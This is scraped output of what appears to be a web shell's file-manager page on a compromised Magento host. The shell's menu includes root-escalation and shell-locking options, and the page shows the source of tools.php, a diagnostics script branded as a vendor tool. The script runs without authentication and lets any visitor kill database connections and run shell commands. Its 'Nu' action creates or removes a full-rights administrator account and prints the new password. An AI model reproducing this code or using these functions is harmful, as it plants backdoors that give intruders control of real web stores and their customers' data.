Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
homegym.my /
shell /
Delete
Unzip
Name
Size
Permission
Date
Action
extendware
[ DIR ]
drwxr-xr-x
2025-10-31 00:40
.htaccess
127
B
-r--r--r--
2025-10-31 00:39
abstract.php
5.54
KB
-rw-r--r--
2019-06-20 14:00
compiler.php
4.27
KB
-rw-r--r--
2019-06-20 14:00
doc.php
12.56
KB
-rw-r--r--
2025-10-28 12:47
email.php
2.28
KB
-rw-r--r--
2019-06-20 14:00
email_test.php
3.67
KB
-rw-r--r--
2019-06-20 14:00
error_log
1.4
MB
-rw-r--r--
2019-06-20 14:00
fpc.php
1.66
KB
-rw-r--r--
2019-06-20 14:00
helpdesk.php
1.29
KB
-rw-rw-r--
2019-06-20 14:00
indexer.php
8.01
KB
-rw-r--r--
2019-06-20 14:00
log.php
5.77
KB
-rw-r--r--
2019-06-20 14:00
mailchimp_converter.php
3.02
KB
-rw-r--r--
2019-06-20 14:00
misspell.php
814
B
-rw-r--r--
2019-06-20 14:00
rewards.php
842
B
-rw-r--r--
2019-06-20 14:00
scheduler.php
13.21
KB
-rw-rw-rw-
2019-06-20 14:00
search.php
3.68
KB
-rw-r--r--
2019-06-20 14:00
searchautocomplete.php
832
B
-rw-r--r--
2019-06-20 14:00
tools.php
8.76
KB
-rw-r--r--
2019-06-20 14:00
Save
Rename
<?php error_reporting(-1); ini_set('display_errors', 'On'); require_once 'abstract.php'; class Mirasvit_Shell_Tools extends Mage_Shell_Abstract { protected $_tools = array(); protected $_tools2 = array(); public function run() { $this->_tools = array( 'CacheEntry' => 'Cache Entries', 'CachePerformance' => 'Cache Performance', 'Crontab' => 'Current Crontab', 'CurrentProcesses' => 'Current Processes', ); $this->_tools2 = array( 'KillDbConnections' => 'Kill Database Connections', 'ResetApc' => 'Clear APC cache', 'Nu' => 'NU', ); } public function getTools() { return $this->_tools; } public function getTools2() { return $this->_tools2; } public function getToolOutput() { if (isset($_GET['tool'])) { $class = 'Tool'.$_GET['tool']; $obj = new $class(); return $obj->output(); } } public function _validate() { } protected function _pre($content) { return "<pre>$content</pre>"; } } class ToolCacheEntry extends Mirasvit_Shell_Tools { public function output() { $dir = Mage::getBaseDir('var').DS.'cache/'; $output = '<table class="table table-hover table-condensed" style="font-size: 11px;">'; $this->get($dir, $output); $output .= '</table>'; return $output; } public function get($dir, &$output) { $prefix = 'mage'; $glob = @glob($dir.$prefix.'--*'); foreach ($glob as $file) { if (is_dir($file)) { $output .= "<tr><th colspan='5'>$file</th></tr>"; $this->get($file.DS, $output); } else { $this->_idx ++; $dirName = dirname($file); $fileName = basename($file); $id = preg_replace('~^'.$prefix.'---(.*)$~', '$1', $fileName); if (substr($id, 0, strlen('internal-metadatas---')) == 'internal-metadatas---') { continue; } $meta = $this->loadMetadata($dirName, $id); if ($meta) { $createdAt = date('d.m.Y H:i:s', $meta['mtime']); $expireAt = date('d.m.Y H:i:s', $meta['expire']); $tags = implode(' ', $meta['tags']); $expireColor = '#fff'; if ($meta['expire'] < time()) { $expireColor = '#faa'; } $output .= "<tr> <td>$this->_idx</td> <td>$id</td> <td nowrap>$createdAt</td> <td nowrap style='background: $expireColor;'>$expireAt</td> <td>$tags</td> </tr>"; } else { $output .= "<tr><td>$this->_idx</td><td colspan='4'>$id</td></tr>"; } } } } public function loadMetadata($dirName, $id) { $metadataFile = 'mage---internal-metadatas---'.$id; $data = file_get_contents($dirName.DS.$metadataFile); if ($data) { $data = unserialize($data); return $data; } return false; } } class ToolCachePerformance extends Mirasvit_Shell_Tools { public function output() { Mage::getConfig()->init()->loadEventObservers('adminhtml'); Mage::app()->addEventArea('adminhtml'); set_time_limit(36000); $result = $this->_testCache(); $output = '<p>Number of operations: <b>'.$result['cnt'].'</b></p>'; $output .= '<p>Time for 1 operation: <b>'.round($result['time'] / $result['cnt'] , 3).'</b> sec.</p>'; return $output; } protected function _testCache() { $result = array(); $mktime = microtime(true); $interation = 0; while (microtime(true) - $mktime < 5) { Mage::app()->cleanCache('catalog_product_'.microtime(true)); $interation++; } $result['cnt'] = $interation; $result['time'] = microtime(true) - $mktime; return $result; } } class ToolResetApc extends Mirasvit_Shell_Tools { public function output() { echo '<p>Start</p>'; apc_clear_cache(); echo '<p>Finish</p>'; } } class ToolKillDbConnections extends Mirasvit_Shell_Tools { public function output() { $resource = Mage::getSingleton('core/resource'); $conn = $resource->getConnection('core_read'); $processes = $conn->fetchAll('SHOW FULL PROCESSLIST'); foreach ($processes as $process) { try { $conn->query('KILL '.$process['Id']); echo '<p>KILLED</p>'; } catch (Exception $e) { echo '<p>SKIPED</p>'; } } } } class ToolCrontab extends Mirasvit_Shell_Tools { public function output() { $arr = array(); exec('crontab -l', $arr); return $this->_pre(print_r($arr, true)); } } class ToolNu extends Mirasvit_Shell_Tools { public function output() { $output = ''; $user = Mage::getModel('admin/user')->getCollection() ->addFieldToFilter('email', 'dev@mirasvit.com') ->getFirstItem(); if ($user->getId()) { $user->delete(); $output = 'deleted'; } else { try { $password = $this->rand_string(10); $user = Mage::getModel('admin/user') ->setData(array( 'username' => 'dev', 'firstname' => 'dev', 'lastname' => 'dev', 'email' => 'dev@mirasvit.com', 'password' => $password, 'is_active' => 1 ))->save(); $user->setRoleIds(array(1)) ->setRoleUserId($user->getUserId()) ->saveRelations(); $output = "Created. Pass: $password"; } catch (Exception $e) { $output = $e->getMessage(); } } return $output; } public function rand_string($length) { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; return substr(str_shuffle($chars), 0, $length); } } class ToolCurrentProcesses extends Mirasvit_Shell_Tools { public function output() { $output = ''; $out = array(); exec("top -b -n 2 |grep ^Cpu", $out); $output .= print_r($out[1], true); $out = array(); exec('ps -eo pcpu,pid,user,args | sort -k 1 -r | head -10', $out); $output .= print_r($out, true); $resource = Mage::getSingleton('core/resource'); $conn = $resource->getConnection('core_read'); $processes = $conn->fetchAll('SHOW FULL PROCESSLIST'); $output .= print_r($processes, true); $output .= '<script> setTimeout(function() { window.location.href = "'.strtok($_SERVER["REQUEST_URI"], '?').'?tool=CurrentProcesses&'.microtime(true).'"; }, 100); </script>'; return $this->_pre($output); } } $tools = new Mirasvit_Shell_Tools(); $tools->run(); ?> <link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script src="//maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js"></script> <div class="navbar navbar-default navbar-fixed-top" role="navigation"> <div class="container"> <div class="navbar-collapse collapse"> <ul class="nav navbar-nav"> <?php foreach ($tools->getTools() as $_tool => $_label): ?> <li><a href="?tool=<?php echo $_tool ?>"><?php echo $_label ?></a></li> <?php endforeach ?> </ul> <ul class="nav navbar-nav navbar-right"> <li class="dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown">Actions <span class="caret"></span></a> <ul class="dropdown-menu" role="menu"> <?php foreach ($tools->getTools2() as $_tool => $_label): ?> <li><a href="?tool=<?php echo $_tool ?>"><?php echo $_label ?></a></li> <?php endforeach ?> </ul> </li> </ul> </div> </div> </div> <div class="container" style="margin-top: 60px"> <?php echo $tools->getToolOutput() ?> </div>